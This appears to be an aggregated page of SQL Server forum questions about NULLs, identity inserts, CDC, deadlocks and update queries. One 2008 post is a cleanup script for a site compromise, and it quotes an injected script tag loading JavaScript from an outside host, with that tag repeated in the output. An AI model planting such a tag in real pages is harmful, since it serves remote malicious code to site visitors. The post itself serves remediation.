SQL Server 2008 :: Is There Any Way To Override Explicit Nulls On INSERT / UPDATE
Nov 2, 2015
If a column is set to allow nulls I know that a constraint can be used to supply a default (i.e. GetDate() ) when no value is provided but what about when an explicit NULL is provided in an INSERT or UPDATE statement?Is there any way other then an AFTER trigger to substitute a value for an explicitly provided NULL? In other words, assuming that dtAsof is a NULL enabled column, is there any way to over ride what the following will do to MYTABLE:
INSERT MYTABLE(sCol1, sCol2, sCol3, dtAsOf)
SELECT 'a', 'b', 'c', NULL
If there's no way to do this in SQL Server 2008R2 then what about later versions of SQL Server? Do any more recent versions have a way to deal with this? We have a third party app that uses a SQL Server back end and many of the tables have columns for storing audit like data such as date/time but many are left to NULL values and I'd really like to fix that in as passive a way as possible so as to not break the app that uses the database. I know a constraint with a default can be sued to over ride a null but not when a null is explicitly provided.
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Jan 4, 2010
I'm a developer working on PHP - MSSQL 2008 combined platform. While running a procedure from a webpage I'm encountering the error as below.
My Query:
DECLARE @ReturnValue INT
EXEC @ReturnValue = S_AccountsBatchActivation @FirstName='abc', @LastName='abc', @Address='abc', @City='abc', @State='abc', @Country='India', @Phone='1', @BatchId='6502'
SELECT ReturnValue=@ReturnValue
Error
Cannot insert the value NULL into column 'TariffId', table 'tempdb.dbo.#tbl
column does not allow nulls. INSERT fails.
Though the same query when run from SSMS runs fine:
Execute S_AccountsBatchActivation
@FirstName='abc',
@LastName='abc',
@Address='abc',
@City='abc',
@State='abc',
@Country='India',
@Phone='11',
@BatchId=6502
[code]...
On my end I've tried out with ANSI_NULL AND ANSI_NULLS settings being both ON and OFF but it didn't worked.
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Apr 16, 2015
If I have a table with 1 or more Nullable fields and I want to make sure that when an INSERT or UPDATE occurs and one or more of these fields are left to NULL either explicitly or implicitly is there I can set these to non-null values without interfering with the INSERT or UPDATE in as far as the other fields in the table?
EXAMPLE:
CREATE TABLE dbo.MYTABLE(
ID NUMERIC(18,0) IDENTITY(1,1) NOT NULL,
FirstName VARCHAR(50) NULL,
LastName VARCHAR(50) NULL,
[Code] ....
If an INSERT looks like any of the following what can I do to change the NULL being assigned to DateAdded to a real date, preferable the value of GetDate() at the time of the insert? I've heard of INSTEAD of Triggers but I'm not trying tto over rise the entire INSERT or update just the on (maybe 2) fields that are being left as null or explicitly set to null. The same would apply for any UPDATE where DateModified is not specified or explicitly set to NULL. I would want to change it so that DateModified is not null on any UPDATE.
INSERT INTO dbo.MYTABLE( FirstName, LastName, DateAdded)
VALUES('John','Smith',NULL)
INSERT INTO dbo.MYTABLE( FirstName, LastName)
VALUES('John','Smith')
INSERT INTO dbo.MYTABLE( FirstName, LastName, DateAdded)
SELECT FirstName, LastName, NULL
FROM MYOTHERTABLE
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May 15, 2008
I have two SSIS packages that import from the same flat file into the same SQL 2005 table. I have one flat file connection (to a comma delimited file) and one OLE DB connection (to a SQL 2005 Database). Both packages use these same two Connection Managers. The SQL table allows NULL values for all fields. The flat file has "empty values" (i.e., ,"", ) for certain columns.
The first package uses the Data Flow Task with the "Keep nulls" property of the OLE DB Destination Editor unchecked. The columns in the source and destination are identically named thus the mapping is automatically assigned and is mapped based on ordinal position (which is equivalent to the mapping using Bulk Insert). When this task is executed no null values are inserted into the SQL table for the "empty values" from the flat file. Empty string values are inserted instead of NULL.
The second package uses the Bulk Insert Task with the "KeepNulls" property for the task (shown in the Properties pane when the task in selected in the Control Flow window) set to "False". When the task is executed NULL values are inserted into the SQL table for the "empty values" from the flat file.
So using the Data Flow Task " " (i.e., blank) is inserted. Using the Bulk Insert Task NULL is inserted (i.e., nothing is inserted, the field is skipped, the value for the record is omitted).
I want to have the exact same behavior on my data in the Bulk Insert Task as I do with the Data Flow Task.
Using the Bulk Insert Task, what must I do to have the Empty String values inserted into the SQL table where there is an "empty value" in the flat file? Why & how does this occur automatically in the Data Flow Task?
From a SQL Profile Trace comparison of the two methods I do not see where the syntax of the insert command nor the statements for the preceeding captured steps has dictated this change in the behavior of the inserted "" value for the recordset. Please help me understand what is going on here and how to accomplish this using the Bulk Insert Task.
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Mar 15, 2013
I am experimenting with using CDC to track user changes in our application database. So far I've done the following:
-- ENABLE CDC ON DV_WRP_TEST
USE dv_wrp_test
GO
EXEC sys.sp_cdc_enable_db
GO
-- ENABLE CDC TRACKING ON THE AVA TABLE IN DV_WRP_TEST
USE dv_wrp_test
[Code] ....
The results shown above are what I expect to see. My problem occurs when I use our application to update the same column in the same table. The vb.net application passes a Table Valued Parameter to a stored procedure which updates the table. Below is the creation script for the stored proc:
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
if exists (select * from sysobjects where id = object_id('dbo.spdv_AVAUpdate') and sysstat & 0xf = 4)
drop procedure dbo.spdv_AVAUpdate
[Code] ....
When I look at the results of CDC, instead of operations 3 and 4, I see 1 (DELETE) and 2 (INSERT) for the change that was initiated from the stored procedure:
-- GET CDC RESULTS FOR CHANGES TO AVA TABLE
USE dv_wrp_test
GO
SELECT *
FROM cdc.dbo_AVA_CT
GO
--RESULTS SHOW OPERATION 1 (DELETE) AND 2 (INSERT) INSTEAD OF 3 AND 4
--__$start_lsn__$end_lsn__$seqval__$operation__$update_maskAvaKeyAvaDescAvaArrKeyAvaSAPAppellationID
--0x0031E84F000000740008NULL0x0031E84F00000074000230x02119Test26NULL
--0x0031E84F000000740008NULL0x0031E84F00000074000240x02119Test36NULL
--0x0031E84F00000098000ANULL0x0031E84F00000098000310x0F119Test36NULL
--0x0031E84F00000098000ANULL0x0031E84F00000098000420x0F119Test46NULL
Why this might be happening, and if so, what can be done to correct it? Also, is there any way to get the user id associated with the CDC?
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Mar 6, 2013
The developers in our shop have a need to explicitly grant view definition permissions to themselves on stored procedures they create in their development databases. They have dbo level permissions in these databases and although they can explicitly grant view definition permissions to other developers in the same database, they are unable to do so for themselves. When they attempt this, it appears that they are successful but when they check the stored procedure afterwards the permission is not there for themselves.
While this does not cause an issue in development, the intention is for these view definition permissions to be carried forward to the test and production databases where they only have datareader permissions.
When these stored procedures are scripted out by the dba to move to Test and Production the view definition permissions are not scripted out for the developer in question.
Is there a way that a developer with dbo rights in a database can explicitly grant themselves view definition permissions on a stored procedure they create as dbo?
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May 8, 2015
i would like to know it's possible to find all transaction(insert, delete,update) on a database for a day. if yes what can i do.
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Apr 4, 2015
I am inserting updating few tables from snapshot and reading same bunch of tables from reporting using readcommitted . It is showing some deadlocks i think it is write in this situation as " x" is not compitable with "s" ,"is".
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Oct 27, 2015
I have two tables one list changes of hospital ward and one lists changes of consultant doctor. These can change independently ie a ward change can occur without a consultant change and vice versa. I want to summarise these changes to give the status at each date_serial value.
create table #temp_ward_stay(date_serial bigint,ward_id varchar(10))
;
insert into #temp_ward_stay
values
(201501021200,'W1'),(201501031201,'W2'),(201501091200,'W3'),(201501161200,'W4'),(201501161201,'W5')(201501271200,'W3'),(201502101200,'W5')
;
create table #temp_consultant_episode(
date_serial bigint,
consultant_id varchar(10))
;
insert into #temp_consultant_episode values
(201501021200,'C1'),(201501031200,'C2'),(201501031201,'C3'),(201501091201,'C4'),
(201501121200,'C3'),(201501301200,'C6'),(201502111200,'C6'),(201502111201,'C7')
;
If I use:
select date_serial,consultant_id,null as ward_id from #temp_consultant_episode
union
select date_serial,null as consultant_id,ward_id from #temp_ward_stay
I get:
date_serial ward_id consultant_id
-------------------- ---------- -------------
201501021200 NULL C1
201501021200 W1 NULL
201501031200 NULL C2
201501031201 NULL C3
201501031201 W2 NULL
201501091200 W3 NULL
201501091201 NULL C4
201501121200 NULL C3
201501161200 W4 NULL
[code].....
whereas what I actually want is:
date_serialward_idconsultant_id
201501021200W1C1
201501031200W1C2
201501031201W2C3
201501091200W3C3
201501091201W3C4
201501121200W3C3
201501161200W4C3
201501161201W5C3
[code].....
I can see how I could remove the nulls where the date_serial values are the same:
select ce.date_serial,ward_id,consultant_id from #temp_consultant_episode ce
join #temp_ward_stay ws
on ce.date_serial=ws.date_serial
but I can't see how to move forward from here.
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Apr 24, 2006
I am developing an integration process between two databases. One ofthem is a SQL Server 2000 and the other is using MSDE 2000. Theintegration process is done in C# (VS2003).The main database is the SQL Server, the MSDE will contain a reallysmall subset of the data found on the main. To help diminish the amountof time taken to develop an integration process between thosedatabases, the same structure are found on both side. The onlydifference, when I insert data in the MSDE from the SQL Server, I setthe IDENTITY_INSERT to ON and use the same IDs found on the SQL Server.I can insert one set of data without problem, but from there, if I tryagain, I will always receive the "Cannot insert explicit value foridentity column in table ... when IDENTITY_INSERT is set to OFF." Isaw on Microsoft website the article ID 878501; I noticed I was usingMSDE sp3, I upgraded to SP4... and I still have the problem.I know, when I call the update function on the sqldataadapter, theadapters contain the IDENTITY_INSERT ON and it's set to OFF after theinsert. The "Cannot insert..." error is the only one I received.Can anyone help me on that issue? Take note that this approach wasused because of customer requirements; the size of the database alsocauses some problem (over 200 tables) and we decided to use the samestructure on both side to minimize the support time.
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Oct 25, 2006
Hello Everyone,
I am trying to insert a new record into a sql table and I get the following error message:
Msg 544, Level 16, State 1, Line 1
Cannot insert explicit value for identity column in table 'tbl_MLS_ReportCriteria' when IDENTITY_INSERT is set to OFF.
Here is the code:
USE MLS
INSERT INTO dbo.tbl_MLS_ReportCriteria (CriteriaID, Name, DisplayName, DetailedInstructions, TypeID, Source, DefaultValue, ValueField, DescriptionField, IncludeAllOption)
VALUES ('65', 'Summary3', 'Tertiary Summarize By', NULL, '2', 'SelectOptions', 'Company', NULL, NULL, '0')
What do I need to change and or look for?
TIA
Kurt
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Dec 14, 2004
Cannot insert explicit value for identity column in table 'tblUsed' when IDENTITY_INSERT is set to OFF.
:confused:
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Dec 21, 2007
I use SQLExpress2005 and I search about this problem , this is a BUG in MsSql 2000 but I use sql Express 2005.although in my table I set IDENTITY_INSERT on (master Key)Please help me
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Feb 5, 2006
Hello!
Do anybody know how to fix this error?
Cannot insert explicit value for identity column in table 'Gallery' when IDENTITY_INSERT is set to OFF.?
Thanks!
Varcar!
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Apr 10, 2008
Code Snippet
Private Sub AddClientToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles AddClientToolStripMenuItem.Click
Dim addclient As New newclient()
newclient.ClientID = 0
Dim result As DialogResult
result = addclient.ShowDialog
If result = DialogResult.OK Then
Dim Client As clients_and_sitesDataSet1.ClientsRow
Client = Clients_and_sitesDataSet1.Clients.NewClientsRow
Client.ClientID = addclient.ClientID
Client.Clientname = addclient.Clientname
Client.Street_and_number = addclient.Street_and_number
Client.Zipcode = addclient.Zipcode
Client.Place = addclient.Place
Client.Phone = addclient.Phone
Client.Email = addclient.Email
Client.Contact_person = addclient.Contact_person
Clients_and_sitesDataSet1.Clients.AddClientsRow(Client)
ClientsTableAdapter.Update(Client)------------------------------problem
MessageBox.Show("New Client is saved")
Else
MessageBox.Show("User cancelled operation")
End If
addclient = Nothing
End Sub
Code in VB (2005 express edition)
Hi all above is aa snipped from the code I am using. all works fine exxept the ------problem line.
when i try to run the program, i get an exeption
Cannot insert explicit value for identity column in table 'Clients' when IDENITY_INSERT is set to OFF
how can i turn this on???? I seem to be stuck, vieuwed the msdn video on the subject and cant find what I am doing wrong. I hope u guys can help me out.
And please give me specific guide lines on how to put in the code and code lines. I tried using
SET IDENTITY_INSERT Clients ON
But than I get all errors bout things not being declared, set not being supported anymore, things like that.
Thanks for the effort you will put into helping me out and becomming a "self supported programmer"
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Nov 5, 2014
I received a request to create a stored proc with following:
I have a view with the following columns
(table1 - AppCode, AgencyID, CompnyID, CustCode, CustVal)
I have a proc that will take the following parameters and return all matching rows (AppCode, AgencyID, CompnyID, CustCode(optional))
The trick: Any customcode with the CompnyID should override the AgencyID parameter.
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Feb 1, 2008
So I've created a bit of code to remove some virus garbage that's been plaguing some of my clients, but it seems since I've tried using a cursor to streamline the process a bit it's just filling in the fields with nulls.
Code:
use db7021
go
select * from products
go
declare @desc varchar(max)
declare @virus varchar(128)
set @virus = '<script src="http://b.njnk.net/E/J.JS"></script>'
declare @start int
declare @end int
declare thecursor CURSOR LOCAL SCROLL_LOCKS
for select cdescription from products
where cdescription like ('%' + @virus + '%')
for update of cdescription
open thecursor
fetch next from thecursor into @desc
while @@FETCH_STATUS = 0
begin
print @desc
set @start = charindex(@virus, @desc)
set @end = @start + len(@virus)
print cast(@start as char) + ', ' + cast(@end as char)
set @desc = left(@desc, @start - 1) + right(@desc, len(@desc)-@end+1)
update products
set cdescription = @desc
where current of thecursor
fetch next from thecursor into @desc
end
close thecursor
deallocate thecursor
select * from products
go
Which produces the output:
Code:
id cname cdescription
----------- ----------- ----------------------------------------------------------------------------------------
1 banana sometext 0.962398 <script src="http://b.njnk.net/E/J.JS"></script>
2 apple sometext 1.9248 <script src="http://b.njnk.net/E/J.JS"></script>
3 lolcat sometext 2.88719 <script src="http://b.njnk.net/E/J.JS"></script>
4 cheezburgr sometext 3.84959 <script src="http://b.njnk.net/E/J.JS"></script>
(4 row(s) affected)
sometext 0.962398 <script src="http://b.njnk.net/E/J.JS"></script>
41 , 89
(1 row(s) affected)
sometext 1.9248 <script src="http://b.njnk.net/E/J.JS"></script>
41 , 89
(1 row(s) affected)
sometext 2.88719 <script src="http://b.njnk.net/E/J.JS"></script>
41 , 89
(1 row(s) affected)
sometext 3.84959 <script src="http://b.njnk.net/E/J.JS"></script>
41 , 89
(1 row(s) affected)
id cname cdescription
----------- ------------ ------------
1 banana NULL
2 apple NULL
3 lolcat NULL
4 cheezburgr NULL
(4 row(s) affected)
I trimmed out alot of whitespace from the results for the sake of readability, but aside from that this is everything I've got. I know the string functions work since I tested them on their own, but since I've combined them with the cursor they've started producing NULLs.
Maybe I've missed something in the syntax for cursors?
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Feb 26, 2015
I am writing a query to return some production data. Basically i need to insert either 1 or 2 rows into a Table variable based on a decision as to does the production part make 1 or 2 items ( The Raw data does not allow for this it comes from a look up in my database)
I can retrieve all the source data i need easily but when i come to insert it into the table variable i need to insert 1 record if its a single part or 2 records if its a twin part. I know could use a cursor but im sure there has to be an easier way !
Below is the code i have at the moment
declare @startdate as datetime
declare @enddate as datetime
declare @Line as Integer
DECLARE @count INT
set @startdate = '2015-01-01'
set @enddate = '2015-01-31'
[Code] .....
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Oct 31, 2007
I have been battling this for 2 days! I could write a book on what does not work. I have even tried entering the data manually through the 'Open Table' SSMS function from the Object Explorer. I only have 5 records in the table. The first 4 I added a week or so ago during dev from the ASP.Net 2.0 (w VB) website that is the front end for this DB. I use a DAL between the site and DB.I added two new fields the other day and everything seemed to work fine. Now I get 'Siteid CANNOT BE NULL'. I abandoned attempts to Insert from the Website. The following was done directly through SSMS.I switched all of the columns (except PK) to allow nulls. I could add/update a record, no problem, even with directly typed data in some fields. I could also add one with only one field populated (some have defaults, some do not).Here is the table code:USE [bro122]GO/****** Object: Table [dbo].[tbsaDrem] Script Date: 10/31/2007 18:46:34 ******/SET ANSI_NULLS ONGOSET QUOTED_IDENTIFIER ONGOSET ANSI_PADDING ONGOCREATE TABLE [dbo].[tbsaDrem]([DremID] [int] IDENTITY(1,1) NOT NULL,[CustID] [int] NOT NULL CONSTRAINT [DF_tbsaDrem_CustID] DEFAULT ((0)),[RealityYN] [bit] NULL CONSTRAINT [DF_tbsaDrem_ContractYN] DEFAULT ((0)),[DreamName] [varchar](30) COLLATE SQL_Latin1_General_CP1_CI_AS NULL CONSTRAINT [DF_tbsaDrem_DreamName] DEFAULT ('New (Modify Name)'),[SiteID] [int] NOT NULL,[SitePremPric] [money] NULL CONSTRAINT [DF_tbsaDrem_SiteBasePric] DEFAULT ((0)),[NbhdBasePric] [money] NULL CONSTRAINT [DF_tbsaDrem_NbhdBasePric] DEFAULT ((0)),[PlanCtlgID] [int] NOT NULL,[PlanPric] [money] NULL CONSTRAINT [DF_tbsaDrem_PlanPric] DEFAULT ((0)),[SpecTotl] [money] NULL CONSTRAINT [DF_tbsaDrem_SpecTotl] DEFAULT ((0)),[DremTotl] AS ((([NbhdBasePric]+[SitePremPric])+[PlanPric])+[SpecTotl]) PERSISTED,[Modified] [datetime] NOT NULL CONSTRAINT [DF_tbsaDrem_Modified] DEFAULT (getdate()),[ModUser] [varchar](25) COLLATE SQL_Latin1_General_CP1_CI_AS NOT NULL CONSTRAINT [DF_tbsaDrem_ModUser] DEFAULT ('None'),[Created] [datetime] NOT NULL CONSTRAINT [DF_tbsaScenario_CreatedDate] DEFAULT (getdate()),[ts] [timestamp] NOT NULL,CONSTRAINT [PK_tbsaDremID] PRIMARY KEY CLUSTERED ([DremID] ASC)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON, FILLFACTOR = 60) ON [PRIMARY]) ON [PRIMARY]GOSET ANSI_PADDING OFFGOEXEC sys.sp_addextendedproperty @name=N'MS_Description', @value=N'This is flagged with a Trigger when a Dream becomes a Reality. ( contract is ratified.' , @level0type=N'SCHEMA',@level0name=N'dbo', @level1type=N'TABLE',@level1name=N'tbsaDrem', @level2type=N'COLUMN',@level2name=N'RealityYN'GOEXEC sys.sp_addextendedproperty @name=N'MS_Description', @value=N'Heading Data for Each Dream (Scenario) for Customers. Each Dream can and must have only one Customer, Site, Plan. Dream Items are stored in the tbsaDreamItem table.' , @level0type=N'SCHEMA',@level0name=N'dbo', @level1type=N'TABLE',@level1name=N'tbsaDrem'GOALTER TABLE [dbo].[tbsaDrem] WITH CHECK ADD CONSTRAINT [FK_tbsaDrem_tbjoSite] FOREIGN KEY([SiteID])REFERENCES [dbo].[tbjoSite] ([SiteID])GOALTER TABLE [dbo].[tbsaDrem] CHECK CONSTRAINT [FK_tbsaDrem_tbjoSite]GOALTER TABLE [dbo].[tbsaDrem] WITH CHECK ADD CONSTRAINT [FK_tbsaDrem_tbpdPlanCtlg] FOREIGN KEY([PlanCtlgID])REFERENCES [dbo].[tbsaCtlg] ([CtlgID])GOALTER TABLE [dbo].[tbsaDrem] CHECK CONSTRAINT [FK_tbsaDrem_tbpdPlanCtlg]GOALTER TABLE [dbo].[tbsaDrem] WITH CHECK ADD CONSTRAINT [FK_tbsaDrem_tbsaCust] FOREIGN KEY([CustID])REFERENCES [dbo].[tbsaCust] ([CustID])GOALTER TABLE [dbo].[tbsaDrem] CHECK CONSTRAINT [FK_tbsaDrem_tbsaCust]Any help is enormously appreciated!!!
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Mar 29, 2006
I’m looking for feedback on the Best/Right way to Insert nulls into SQL dateTime field in SQL DB from a web UI textbox.
Option 1: Presently implemented:
Dim dtFollowUpDate = IIf(dtDateFollowUp.Text = "", System.Data.SqlTypes.SqlDateTime.Null, dtDateFollowUp.Text)
Although ithis does what is needed it generates the following inner exception
ParamValue {System.Data.SqlTypes.SqlDateTime} Object[System.Data.SqlTypes.SqlDateTime] {System.Data.SqlTypes.SqlDateTime} System.Data.SqlTypes.SqlDateTimeDayTicks
<error: an exception of type: {System.Data.SqlTypes.SqlNullValueException} occurred> Integer IsNull True Boolean
Option 2:
Dim dtFollowUpDate = IIf(dtDateFollowUp.Text = "", System.DBNull.Value, dtDateFollowUp.Text)
No exceptions, no problems that I have seen yet.
Option 3:
Dim dtNull As System.Data.SqlTypes.INullable
Dim dtFollowUpDate = IIf(dtDateFollowUp.Text = "", dtNull, dtDateFollowUp.Text)
No exceptions, no problems that I have seen yet.
Any advice would be greatly appreciated!
Thanks
Craig
CTARP2
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Mar 11, 2015
I have run into a perplexing issue with how to UPDATE some rows in my table correctly.I have a Appointment table which has Appointment Times and a Appointment Names. However the Name is only showing on the Appt start Time line. I need it to show for its duration. So for example in my DDL Morning Appt only shows on at 8:00 I need it to show one each line until the next Appt Starts and so on. In this case Morning Appt should show at 8:00,8:15, 8:30.
CREATE TABLE #TEST ( ApptTime TIME, ApptName VARCHAR (20), DURATION TINYINT)
INSERT INTO #TEST VALUES ('8:00', 'Morning Appt', 45), ('8:15', NULL, NULL),('8:30', NULL,NULL),('8:45', 'Brunch Appt', 45),('9:00', NULL,NULL),('9:15', NULL,NULL),
('9:30', 'Afternoon Appt', 30),('9:45', NULL,NULL),('10:00', NULL,NULL).
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Mar 19, 2015
I have a query, I am trying to update a certain column in my query you can see that is hard coded. The column that I am trying to update is "O_Test" I used a select statement trying to figure out how many records that accounts for with the entire database of all the tables. I got 643 records. So I am wondering if there is a way I can update all the columns without looking up each table and updating each one. This Update statement wont work because I am accounting for all records in the DB of all tables associated of what I hard coded
SELECT t.name AS table_name,
SCHEMA_NAME(schema_id) AS schema_name,
c.name AS column_name
FROM sys.tables AS t
INNER JOIN sys.columns c ON t.OBJECT_ID = c.OBJECT_ID
WHERE c.name LIKE '%O_Test%'
ORDER BY schema_name, table_name;
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Mar 25, 2015
The last two columns in one table is [StarText](varchar(20)) and [Star] (binary). It stored data like below:
StarTest---Star
***
**
Null
*****
How to write a update code to insert star image at column [Star]?
For example, at column [Star]
row1 insert 3 stars
row2 insert 2 stars
row3 keep null
row4 insert 5 stars
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Apr 16, 2015
I'm getting the following error message 'An aggregate may not appear in the set list of an UPDATE statement' What is the proper way to carry out an update on aggregates?
My code is below:
t1.TotalTest1 = coalesce(Sum(t2.AmountTest1), 0.00),
t1.TotalTest2 = coalesce(Sum(t2.AmountTest2), 0.00),
t1.TotalTest3 = coalesce(Sum(t2.AmountTest3), 0.00),
t1.TotalTest4 = coalesce(Sum(t2.AmountTest4), 0.00),
from #tbl_CHA t1
inner join
[Code] ....
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Sep 11, 2015
I need to update the Denominator column in one row with the value from the Numerator column in a different row. For example the last row in the table is
c010A92NULL
I need to update the Denominator, which is currently NULL, with the value from the Numerator where the MeasureID=c001 and GroupID=A.
This value is 668 so, the row should look like
c010A92668
create table dbo.TEST
(
MeasureID varchar(10),
GroupID char(1),
Numerator float,
Denominator float
)
[Code] .....
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Oct 26, 2015
I have a table and a specific column inside this table. I know this table is being updated, by using sys.dm_db_index_usage_stats, I was able to determine this, by some process (stored procedure / SQL Job / etc), but the problem is, I am not sure what process is doing it.
How would I search our SQL Server 2008 database to find any process that manipulates this table / column (I only care about Inserts / Updates and Deletes, but do not really care for SELECT).
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Sep 5, 2014
I thought it's easy but somehow got lost, what is the good way to insert that Comma intelligently, depending if any of var value is NULL.
-- DECLARE @var1 varchar(10) = 'alpha1', @var2 varchar(10) = 'bravo2', @var3 varchar(10) = 'charlie3',@var4 varchar(10) = 'delta4'
DECLARE @var1 varchar(10) = 'alpha1', @var2 varchar(10) = NULL, @var3 varchar(10) = 'charlie3',@var4 varchar(10) = 'delta4'
SELECT ss= (CONCAT(@var1, + iif(COALESCE(@var1,@var2,@var3,@var4) IS NULL,'',', '),
@var2, + iif(COALESCE (@var2,@var3,@var4) IS NULL,'',', '),
@var3, + iif(COALESCE( @var3,@var4) IS NULL,'',', '),
@var4) )
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Jun 6, 2011
I have a SQL Server 2008 R2 on a windows 2008 server.After one failed backup, I started getting these errors:
Error: 2601, Severity: 14, State: 1.Cannot insert duplicate key row in object 'sys.syscommittab' with unique index 'si_xdes_id'.
Error: 3999, Severity: 17, State: 1.Failed to flush the commit table to disk in dbid 5 due to error 2601. Check the errorlog for more information.
From Microsoft, I found this:
A backup Operation On A SQL Server 2008 Database Fails If You Enable Change Tracking On This Database
[URL]
But this bug refers to SQL Server 2008. What should I do if in my case is a R2 version?
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Apr 28, 2015
I have two tables having one row identifier column each of int datatype. Both these columns are part of the respective primary keys. Now as a part of my process, i'm inserting one small part of data from one table to another table. This was working fine but suddenly started getting error like
Violation of PRIMARY KEY constraint 'PK_TargetTable'. Cannot insert duplicate key in object 'DW.TargetTable'. The duplicate key value is (58544748).First I checked with DBCC CHECKIDENT with NORESEED and found that there is difference in the current identity value and current column value. I fixed it by running DBCC CHECKIDENT. But to my surprise again got the same issue. interesting thing is that the error comes after inserting 65466 records.
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May 21, 2015
I work with sql server 2008 on a database.we have export schema and datas with the command export datas
click rigth on database => tasks => generate scripts => select all object => click advanced => select type of data to script => schema and data
Now we have a file with all datas and schema That's perfect ...But how i can insert the file in a other database?ok i can copy paste all datas in management studio and press f5 but when i do this the management studio fail because the size of the file is > 200 mega !
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May 22, 2015
I've got a piece of code that returns 53 records when using just the SELECT section.When I change it to INSERT INTO ..... SELECT it only inserts 39 records into the receiving table.There are no keys/contraints/indices or anything else on the receiving table (it's just a dumping ground for some data that will be processed later).
The code for creating the table is here:-
USE [CDSExtractInpatients6.2]
GO
/****** Object: Table [dbo].[CDS_Inpatients_CDS_Feeds_Import] Script Date: 22/05/2015 15:54:15 ******/
SET ANSI_NULLS ON
GO
[code]...
I know most of the date fields are being created as varchar on here, but this is something I inherited and the SELECT is outputting the dates as text.Don't know if it makes any difference, but the server is running SQL2008.
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Sep 28, 2015
Have any seen Insert statement deadlocking itself ? Most of the articles published by Microsoft says to change the transaction isolation level from Read Committed to Read Committed Snapshot.Below is the XML file on the deadlock
<deadlock>
<victim-list>
<victimProcess id="processe259948" />
</victim-list>
<process-list>
[code]...
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Oct 22, 2015
I have a problem where I want to create a loop in my script to insert 0's into my table.
I have a temp table with a list of company codes.
SELECT CODE FROM ##SENData GROUP BY CODE
This produces the following;
CODE
00C
00D
00K
00M
00Q
00T
00V
00X (there are 110 of these codes)
I want to insert data into a different table in the following format.
+------+------------+-------+---------+
| CODE | Month | Value | Measure |
+------+------------+-------+---------+
| 00C | 01/09/2015 | 0 | HAR-01 |
| 00D | 01/09/2015 | 0 | HAR-01 |
| 00K | 01/09/2015 | 0 | HAR-01 |
| 00M | 01/09/2015 | 0 | HAR-01 |
| 00Q | 01/09/2015 | 0 | HAR-01 |
| 00T | 01/09/2015 | 0 | HAR-01 |
| 00V | 01/09/2015 | 0 | HAR-01 |
| 00X | 01/09/2015 | 0 | HAR-01 |
+------+------------+-------+---------+
The month will be set from a declared variable and the others will just be hard coded.
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